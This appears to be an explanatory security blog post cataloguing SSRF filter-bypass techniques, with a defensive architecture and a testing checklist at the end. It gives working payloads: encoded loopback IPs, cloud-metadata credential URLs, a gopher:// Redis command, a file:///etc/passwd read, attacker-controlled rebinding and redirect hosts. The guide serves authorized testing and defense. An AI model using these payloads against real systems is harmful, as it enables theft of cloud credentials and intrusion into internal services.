If you’ve read our SSRF primer, you know that robust defense never trusts the URL string. This guide is the practical companion: we dissect every bypass technique featured in our SSRF Helper, explaining not just what to send, but why it works at the level of the parser, the DNS resolver, and the network stack.
There’s a single thread running through almost every SSRF bypass:
The filter and the HTTP client disagree. The validator reads the URL one way; the function that actually opens the socket reads it another. The attacker lives in that gap — making the validator “see” an allowed destination while the client connects somewhere else.
Hold onto that sentence. Every technique below is a variation of it. Everything here is for authorized use: scoped pentests, in-program bug bounty, research, and education.
1. Alternative IP representations
The most common naive defense is a text blocklist: “block 127.0.0.1 and 169.254.169.254”. The problem is that an IPv4 address isn’t a string — it’s a 32-bit integer, and there are dozens of ways to write the same integer. The historical culprit is inet_aton() (and its clones across libc, Python, cURL, browsers), which accepts far more than the a.b.c.d four-decimal-octet form.
32-bit decimal
http://2130706433/ → 127.0.0.1
127.0.0.1 is 0x7F000001, which in decimal is 2130706433. inet_aton and most HTTP clients convert the raw integer back into the address. A blocklist searching for the substring 127.0.0.1 finds nothing — and lets it through.
Hexadecimal (0x, dotless)
http://0x7f000001/ → 127.0.0.1
The same integer in hex with the 0x prefix. inet_aton-style parsers recognize the prefix and convert; a \d+\.\d+\.\d+\.\d+ regex doesn’t even match this (it has letters), so validation is often skipped entirely.
Hex per octet
http://0x7f.0x0.0x0.0x1/ → 127.0.0.1
When the parser requires four dot-separated parts, each part can still arrive in hex. Useful against validators that count the dots but don’t normalize each octet.
Octal (leading zero)
http://0177.0.0.1/ → 127.0.0.1
An octet with a leading 0 is read as octal by inet_aton. 0177 octal = 127 decimal. The nasty part: to a human (and to some regexes) 0177.0.0.1 “looks” different from 127.0.0.1, but resolves to the same place.
Octal, dotless
http://017700000001/ → 127.0.0.1
The whole 32-bit integer in octal, with a leading 0. A rare form, but several parsers still normalize it to the destination IP — and almost no filter anticipates it.
Short form, 3 parts
http://127.0.1/ → 127.0.0.1
inet_aton accepts a.b.c, where the last part is treated as 16-bit. 127.0.1 becomes 127.0.(0.1) = 127.0.0.1. Escapes any validation that requires exactly four octets.
Short form, 2 parts
http://127.1/ → 127.0.0.1
a.b, with the last part spanning 24 bits. 127.1 = 127.(0.0.1) = 127.0.0.1. The classic for shortening loopback and slipping past naive regexes.
Octet overflow (mod 256)
http://127.0.0.257/ → 127.0.0.1 (in parsers that apply % 256)
Some parsers apply value % 256 to each octet. 257 % 256 = 1, so 127.0.0.257 resolves to 127.0.0.1. Slips past checks that only block the exact canonical value.
IPv4-mapped IPv6
http://[::ffff:169.254.169.254]/ → 169.254.169.254
http://[::ffff:7f00:1]/ → 127.0.0.1
::ffff:x.x.x.x is an IPv4 address embedded inside an IPv6 one. On a dual-stack stack, the system connects to the real IPv4. But a filter that only knows how to validate IPv4 never inspects what’s inside the brackets — and an IPv6 filter often fails to notice that it “becomes” a private address.
The second form (::ffff:7f00:1) writes the last two groups in hex (7f00:1 = 127.0.0.1); useful against filters that recognize the dotted version but not the hex one. The expanded, uncompressed version ([0:0:0:0:0:ffff:7f00:1]) defeats filters that only look for the compressed ::ffff: form.
Wildcard DNS: nip.io and sslip.io
http://169.254.169.254.nip.io/ → 169.254.169.254
http://169-254-169-254.sslip.io/ → 169.254.169.254
These services resolve any <ip>.nip.io to the IP embedded in the name. That defeats domain-based allowlists: the host is a legitimate “external” name (*.nip.io) that points inside your network. sslip.io does the same with hyphen syntax, useful as a fallback when one of the two is filtered.
Why this whole category works: the filter compares text, the HTTP client resolves an integer/address. The only reliable defense is to resolve the name, convert to the binary address, and validate that address against the private/reserved ranges — never the string.
2. Allowlist bypass
Here the developer already did the “right” thing and adopted an allowlist (api.partner.com). But the way they extract the host from the URL is brittle.
Embedded credentials (userinfo)
http://allowed.com@169.254.169.254/
Everything before the @ is the userinfo part (user:password), not the host. The client connects to 169.254.169.254. A naive filter doing url.startsWith("http://allowed.com") or extracting the host with a sloppy split “sees” allowed.com and allows it.
Fragment confusion (#)
http://169.254.169.254#@allowed.com/
Parsers disagree on where the fragment (#) starts and what counts as the host. Some validators, trying to “clean up” the URL, end up treating allowed.com as the host; the real HTTP client ignores everything after # and connects to 169.254.169.254.
Trailing dot and suffix (FQDN)
http://allowed.com.evil.com/
http://169.254.169.254./
A suffix allowlist — host.endsWith("allowed.com") — falls immediately to allowed.com.evil.com, a domain fully controlled by the attacker. And the trailing dot (169.254.169.254.) is a valid absolute FQDN: many resolvers accept it and resolve to the same IP, while the text comparison fails.
# Brittle filter — DON'T do this
if host.endswith("allowed.com"): # allowed.com.evil.com passes
fetch(url)
Case and encoding variation
http://ALLOWED.com%2f@169.254.169.254/
Case-sensitive comparisons (host == "allowed.com") fall to ALLOWED.com. And filters that don’t percent-decode before comparing are fooled by %2f (/), %2e (.) and friends: the validator sees one string, the client decodes and sees a different URL structure. Always normalize (case, percent-decode, IDNA) before comparing.
3. Cloud metadata
The #1 SSRF target in the cloud is the metadata endpoint on a link-local IP (169.254.169.254), reachable only from inside the instance. It typically hands out temporary credentials for the role attached to the machine. The “techniques” here are really just the exact protocol each provider requires.
AWS IMDSv1 — credentials, no token
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
IMDSv1 needs no token: a simple GET reads the role name and then the temporary keys (AccessKeyId, SecretAccessKey, Token). That’s why the most banal SSRF — one that can only do a GET — is already catastrophic on EC2 with IMDSv1.
AWS IMDSv2 — token via PUT
PUT http://169.254.169.254/latest/api/token
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
# then:
GET http://169.254.169.254/latest/meta-data/...
-H "X-aws-ec2-metadata-token: <token>"
IMDSv2 forces a two-step flow: first a PUT to obtain a token, then the X-aws-ec2-metadata-token header on every GET. This is only exploitable if the SSRF allows arbitrary methods and headers — which breaks the overwhelming majority of naive SSRFs. That’s why requiring IMDSv2 is such an effective (though not standalone) defense.
GCP — Metadata-Flavor header
http://169.254.169.254/computeMetadata/v1/ -H "Metadata-Flavor: Google"
http://169.254.169.254/computeMetadata/v1/?recursive=true
GCP only responds if the request carries the Metadata-Flavor: Google header. That requirement exists precisely to frustrate simple SSRFs. When the attacker controls headers, ?recursive=true dumps everything at once, including service-account tokens.
Azure — Metadata: true header
http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata: true"
http://169.254.169.254/metadata/identity/oauth2/token?... -H "Metadata: true"
Azure requires the Metadata: true header and the api-version parameter. The /identity/oauth2/token endpoint returns managed-identity tokens — the equivalent of AWS role credentials.
Alibaba Cloud
http://100.100.100.200/latest/meta-data/ram/security-credentials/
Alibaba uses a different IP (100.100.100.200) with an AWS-like layout and no token by default. Add this IP to your test battery — blocklists that only know 169.254.169.254 ignore it.
Kubernetes / kubelet
https://169.254.169.254/
http://127.0.0.1:10255/pods
Inside a cluster, the metadata API and the kubelet read-only port (10255) expose secrets, environment variables and the pod list when reached via SSRF. It’s an internal target that cloud-metadata-focused blocklists tend to forget.
The underlying defense is the same for all of them: block, by network route, the workload’s access to the metadata IP when it doesn’t need it, require IMDSv2/headers, and give the role least privilege.
4. Exotic protocols
If the fetcher accepts schemes beyond http/https, the attack surface explodes. The URL scheme determines which byte protocol the client will speak to the destination port.
gopher:// → Redis (and SMTP, FastCGI…)
gopher://127.0.0.1:6379/_%2A1%0d%0a%244%0d%0aPING%0d%0a
gopher:// is the master key: it sends raw bytes to the port, including CRLF (%0d%0a). Since many internal protocols (Redis, SMTP, FastCGI, memcached) are text- and line-based, you can write valid protocol commands inside the URL. The example above sends a PING in Redis’s RESP protocol; swap the payload and you write keys, schedule jobs, or get RCE via FastCGI. (The tool’s builder assembles these bytes for you.)
dict:// — probe and exfil
dict://127.0.0.1:6379/info
dict:// sends a single line to the port and returns the response. It’s excellent for fingerprinting internal services (Redis, memcached) and reading banners without assembling the full protocol the way gopher does.
file:// — local file read
file:///etc/passwd
If the HTTP client accepts file://, the SSRF stops being “a request to another host” and becomes arbitrary file read on the server itself. No network involved — just the local filesystem.
ftp:// and ldap://
ftp://127.0.0.1:11211/
ldap://127.0.0.1:389/
Alternate schemes reach services that speak text protocols. Paired with the right port, they hit memcached, LDAP and others — another reason the HTTP client should have a scheme allowlist (https only, ideally).
5. DNS rebinding
This is the technique that proves why validating the URL string is never enough.
Rebinding via TOCTOU
http://rebind.attacker.com/
# TTL 0 → 1st resolution: public IP (passes validation)
# 2nd resolution: 127.0.0.1 / 169.254.169.254 (at the real fetch)
The attacker controls the DNS for rebind.attacker.com and answers with TTL 0 (no cache). At the moment the application validates the host, it resolves to a harmless public IP and passes. Microseconds later, when the client makes the actual connection, a fresh DNS lookup resolves to 127.0.0.1 or the metadata IP. The vulnerability is the window between check and use (TOCTOU — time-of-check to time-of-use).
The practical consequence: even if you resolve DNS and validate the IP, if you then reconnect by name (letting the client resolve again), rebinding wins. The defense is to connect to exactly the IP you already validated, with no fresh resolution.
Ready-made rebind services
1u.ms · rbndr.us · nip.io · sslip.io
You don’t need to stand up DNS infrastructure: 1u.ms and rbndr.us flip between two IPs per lookup (rebinding out of the box), while nip.io/sslip.io resolve straight to the IP embedded in the name (useful in the allowlist category). The tool’s panel generates these names from the IP you type.
6. Parser confusion
The generalization of “filter and client disagree”: they use different URL parsers.
RFC 3986 vs WHATWG divergence
http://127.0.0.1\@allowed.com/
http://allowed.com⁄@127.0.0.1/
The validator (say, a language’s urlparse, following RFC 3986) and the HTTP client (say, a browser, following the WHATWG URL Standard) disagree on the meaning of the backslash (\), whitespace, and the unicode ⁄ (U+2044, “fraction slash”). One treats \ as a path separator; the other as part of the host. The result: each sees a different host in the same string — and the attacker picks which side sees what.
IDNA / homoglyph
http://①②⑦.⓪.⓪.①/ → 127.0.0.1
Decorated unicode characters (①②⑦) are normalized to ASCII (127) at resolution time, via IDNA/NFKC. The filter compares the unicode form (which doesn’t match 127); the client normalizes and resolves the real IP. Same principle as homoglyphs in domain names.
30x redirect to the internal target
GET https://attacker.com/r (public URL — passes the allowlist)
↓
HTTP/1.1 302 Found
Location: http://169.254.169.254/latest/meta-data/...
The initial URL is public and passes any allowlist. But the attacker’s server responds with a 30x pointing at the internal target. If the HTTP client follows redirects automatically and only validated the starting URL, it follows blindly to 169.254.169.254. It’s “rebinding without DNS”: the destination swap happens at the HTTP layer, not the resolution layer.
How we defend
Notice that none of these techniques is defeated by a better regex. Our SSRF primer details the full architecture; in short, the defense that survives everything above is:
- Host and scheme allowlist (
httpsonly), denying by default. - Resolve DNS, validate the IP(s) against all private/reserved ranges — and connect to exactly that IP, with no fresh resolution (kills rebinding).
- Don’t follow redirects (or revalidate the destination on every hop).
- Normalize before comparing: case, percent-decode, IDNA, canonical IP form.
- Network segmentation / egress filtering: the workload that fetches must have no route to the metadata IP or the internal network.
- IMDSv2 mandatory,
hop limit = 1, roles with least privilege. - Disable dangerous schemes (
file://,gopher://,dict://,ftp://,ldap://).
The line connecting the dots: defense can never trust the string. It has to control which binary address, on which network, the server is allowed to open a socket to — at the exact moment of connection.
Bypass testing checklist
- IP representations: decimal, hex (
0x), hex per octet, octal (with/without dots), short forms (3 and 2 parts),%256overflow. - IPv6:
[::1], IPv4-mapped ([::ffff:...]), hex and expanded forms. - Wildcard DNS:
nip.io,sslip.io. - Allowlist: userinfo
@, fragment#, suffixallowed.com.evil.com, trailing dot, case,%2f/%2e. - Metadata: AWS v1/v2, GCP, Azure, Alibaba (
100.100.100.200), kubelet:10255. - Protocols:
gopher://,dict://,file://,ftp://,ldap://. - DNS rebinding (TTL 0) and ready-made services (
1u.ms,rbndr.us). - Parser confusion:
\, whitespace, unicode⁄, IDNA/homoglyph. - 30x redirect pointing at an internal target.
You can generate and study each of these payloads in our SSRF Helper — everything runs 100% in the browser, with no request to the target. Use it in authorized testing, and from the other side of the table: treat every item on this list as a test case your defense needs to pass.